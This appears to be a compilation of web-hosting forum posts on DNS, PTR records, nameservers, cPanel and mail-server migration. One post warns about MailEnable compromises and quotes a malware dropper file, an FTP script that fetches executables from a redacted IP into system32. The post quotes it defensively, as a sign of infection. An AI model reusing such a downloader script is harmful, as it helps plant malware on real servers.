I don't know I was clearly enough in the title, the problem is that one of my clients has his own mailserver, I host only his website, and he uses a local server for emails.
For the rest of websites which are hosted on this server, everything is ok, intodns.com reports this message :
You have reverse (PTR) records for all your IPs, that is a good thing.
But for the website which has the mailserver on another server it fails the PTR test on intodns.com
ERROR: No reverse DNS (PTR) entries. The problem MX records are: 2.218.77.82.in-addr.arpa -> no reverse (PTR) detected You should contact your ISP and ask him to add a PTR record for your ips
I have checked Tailor Made Servers control panel, and I have the option to set Reverse DNS for every IP alocated on my server, and for now all the websites (30) shares the same IP ..
I want to create a mailserver setup ( SMTP/POP3/IMAP/SSL) in my server which in public network.Can any one suggest the Webbased GUI interface tool which manages my mailserver setup . The tool must able to manage users ( creating mail users,allocating quato).
i have a webserver (mailserver) already running example ABC.com now i want to buy extra server that will be used only to send newsletter to members of ABC.com. Is it possible to do it? Also i dont want to break the existing mailserver as it is used by staff so this new server has to operate independently but of course this has to appear and has to be legitimate.
One of my idea is to setup a subdomain for ABC.com lets say mail2.abc.com and point to a new server but again how it will appear if i send email from info@abc.com when its subdomain!
Im setting up a few servers under one domain name and am in need of a external DNS service provider. Does anyone have any suggestions on who I should go with?
One of our customers need to use a domain.de (.de ext), he registered the domain using godaddy, and godaddy have a few very special requirements for .de domains:
• The first 3 bits of the IP address (C-class) is different for each name server. • A glue record is necessary for the domain on the name servers. • The SOA (Start of Authority) must be within the following guidelines:
This is all done, 2 different C class IPs for each name servers, glue record, and SOA has been configured between specified values. Because of the 2 C class, we created DNS at server1, and pointed all www traffic to server2 (where the domain.de will be hosted)
This is the DNS zone at server1 (an Ensim server):
$ORIGIN . $TTL 3600 ; 1 hour sitename.de IN SOA nameserver1.server.com. support@hostingcompany.com. ( 2008010804 ; serial 10000 ; refresh (1 hour) 1800 ; retry (10 minutes) 604800 ; expire (2 weeks) 345600 ; minimum (1 hour) ) NS nameserver1.server.com. NS nameserver2.server2.com. $TTL 86400 ; 1 day A XX.XX.XX.XX $ORIGIN sitename.de. ftp A XX.XX.XX.XX www A XX.XX.XX.XX
This is the DNS zone at server2 (an cPanel server):
; Modified by Web Host Manager ; Zone File for sitename.de $TTL 3600 @ 86400 IN SOA nameserver2.server2.com. support@hostingcompany.com. ( 2008010804 10000 1800 604800 345600 )
sitename.de. 86400 IN NS nameserver2.server2.com. sitename.de. 86400 IN NS nameserver3.server2.com.
sitename.de. 14400 IN A XX.XX.XX.XX
localhost.sitename.de. 14400 IN A 127.0.0.1
sitename.de. 14400 IN MX 0 sitename.de.
mail 14400 IN CNAME sitename.de. www 14400 IN A sitename.de. ftp 14400 IN A XX.XX.XX.XX While checking the domain at [url], an error appears:
Zone sitename.de. Primary nameserver1.server.com. IP_ADDRESS_HERE Secondary nameserver2.server2.com. IP_ADDRESS_HERE
Test results
---- fatal ---- f: [TEST SOA record present]: server failure (IN/SOA: sitename.de.)
* nameserver2.server.com./IP_ADDRESS_HERE
I have verified every single thing at sitename.de.db on both servers at /var/named/, disabled DNS Recursion protection, stopped firewall, and the error continues.
And the error as you can see only happens with SOA at second server.
I have 2 servers. How do I setup the DSN for these 2 servers with my domain? For example, I have domain "mydomain.com" and server1 and server2. I want ns1.mydomain.com, ns2.mydomain.com --> server1 ns3.mydomain.com, ns4.mydomain.com --> server2
I have a VPS account with WHM/Cpanel console access. I have three domains that I am trying to setup. Within WHM I have setup three different accounts, one for each domain. I am able to login to the cPanel for all three accounts. This also created a new web directory for each domain in /home/domain_name/public_html/. I have placed my default index.php in all three public_html with the same permissions. But only 1 domain is working the other two are not. What am I missing? I have confirmed that all three have the correct DNS servers with godaddy and I can do an nslookup on all three. My provider told me to share the IP so that is what I am configured as..
Hi there, i have few question for the best suited DNS Setup for our compagny.
We have tree server located in montreal. Two are running web services, one of them is only for dns ( home server ).
Two main server have Whm/Cpanel. One run Cpanel Dns only.
Main server have 7 ips each Dns server, only have 1
Let say we use domain xxx.com Right now we have ns1/ns2/ns3/ns4 point to server1 ns5/ns6/ns7 point to server2
We have no Nameserver that point to our dns only server for now. I'd like to advoid runing DNS Service on all of them, maybe having two slave one master would be fine. Question: What would be the best suited dns setup with my current config for best responding time and fast replication?
I just got a VPS plan for the first time where I want to host several new websites. In the past I've used individual accounts to host a couple of other websites and haven't paid much attention to nameserver setup, just configured at my registrar whatever I was given from the hosting service.
So, I got a brand new domain to act as the host of the rest of the domains I'm setting up: www.example.com.
In the VPS I have setup this one as the default domain for nameservers: ns1.example.com ns2.example.com
Question 1: - Can I setup ns1.example.com and ns2.example.com as the nameserververs for www.example.com ? i.e. nameserver is used for the same domain in which it is named. Even if this is possible, is it a good idea or would it be better to host it somewhere else? When I try to define those as the nameservers in Godaddy I get the error message Nameserver not registered. What am I missing?
Other DNS questions Question 2: - If I host my nameservers in my VPS, I will need a separate IP for each one (ns1, ns2...and so on). Can I still use those IP's to actually host websites, or do I need additional IP's to host the actual sites? Any value in keeping each IP dedicated to a nameserver?
For example: IP#1 = used for ns1 IP#2 = used for ns2 IP#1 = used for website 1 IP#2 = used for website 2
Question 3: - Are DNS backup services valuable if I host my own nameservers? Any suggestions on good quality providers? Price not an issue.
Question 4: - If I used DNS backup services for example.com will that apply to ns1.example.com and ns2.example.com which I used for my VPS? and therefore will be applicable to other domains I host? Does this make sense? Or would I need a separate backup for each domain I host? Can I use one backup for multiple domains?
Question 5: - What are the drawbacks of hosting multiple sites under the same IP? I control all sites under these IPs
Question 6: - Can somebody recommend a good resource to learn how IP, DNS, nameservers, etc work? Any book, paid website, video... anything ? While there's a ton of info on the web, all is scattered and none seems to be too detailed enough for somebody starting to learn about this.
when i click "Email Accounts" section in Helm see "Failed to get Email Accounts",also cant add any new Email Account, Helm Log:
Cannot create ActiveX component. at Microsoft.VisualBasic.Interaction.CreateObject(String ProgId, String ServerName) at MailEnable.Administration.Mailbox.GetAutoResponderStatus() at WHA.Helm.Providers.MailEnableProvider.MailEnableEngine.GetAccount(String name) at WHA.Helm.Providers.MailEnableProvider.MailEnableEngine.GetAccountList() at MailEnableProvider.ListEmailAccounts(ProviderData CommandData) ......
I didn't see this posted anywhere here so I just thought I'd give everyone who uses MailEnable a heads up. If you are not using the most up to date version of MailEnable, run to [url] and download it.
I have seen couple of dozen boxes getting infected because they had a MailEnable Standard 1.95 for instance (or Professional 2.11), or anything else that's not up to date. Virus(es) are severe and will cause you a lot of problems... if your server still hasn't been infected and you're not using the latest MailEnable, go upgrade right away!
If you are a hosting company and are using Plesk 7.6.1 you definitely have your helpdesk swapped by now. Biggest problem is that Plesk 7.6.1 comes with MailEnable Std 1.95 where the latest version is 1.981. I have seen servers that were clean OS installs, Plesk 7.6.1 installed and 5 minutes after the box was compromised.
If you are still able to access the box by RDP (or have access to it locally), make sure to disable MailEnable SMTP Relay Service. This is not a part of MailEnable and if you don't disable it you won't be able to remove rdriv.sys from your system32 directory which does quite something to your server. Also check for following:
Make sure you don't have script1.txt in system32, and if you have it make sure to remove it. It contains:
open XXX.XXX.XXX.XXX (IP edited away by Boon Chuan to prevent abuse) user anonymous anonymous@on.the.net lcd c:windowssystem32 get explorer.exe get runservice_bis.dll get kill.exe get fport.exe get hyberport.exe get JASFV.INI bye
Nothing has been heard from SWsoft about this issue yet...
I have MailEnable free on a windows server with Plesk 8.1.
I need IMAP so I thought at hMail. The problem:
I need to copy all the mail content to hMail as I understand Plesk will copy all the accounts except the mail content.
I have found that I can use some vbs from PMM but that requires me to know all the accounts passwords and to do manually every backup/restore for all the e-mails.
Is there an other way to switch to hMail without loosing the mail content ? (IMAPCopy is not an option as it need IMAP and that is not present in MailEnable free, and also needs all all the passwords for all the accounts).
An other problem, I do not have an other windows server so I cannot use Plesk Migration Manager to migrate accounts and then migrate back.
We have two in-house servers, one is hosting our public web server. The other one was just purchased to host a mirror of the production server (as a backup). The site is protected by an SSL cert... my question is how do i set up the server(s) so if/when the backup server needs to be switched into produciton, the SSL cert will transition flawlessly?
I have registered a domain using godaddy. I have hosted my site on a server of my shared hosting provider(lets call them X).Currently I have pointed mydomain.com to the server and it is up and running.Sometimes, I have experienced downtimes.
In order to solve this problem, I have hosted a clone of my site on another server from another hosting company(lets call them Y).
1. I want mydomain.com to point to Y when X is down
2. again point it to X when it is up.
My main aim is to have my site live with less downtime. The probability having both servers down is very less.
I dont know if it is technically feasible, just a thought out of dirty mind. I tried to google but was not able to find an answer specific to my problem.
Can anybody tell me how to achieve this through godaddy domain.
Added note, My site is not a commercial site and I cant afford large dedicated servers with clustering and failovers.
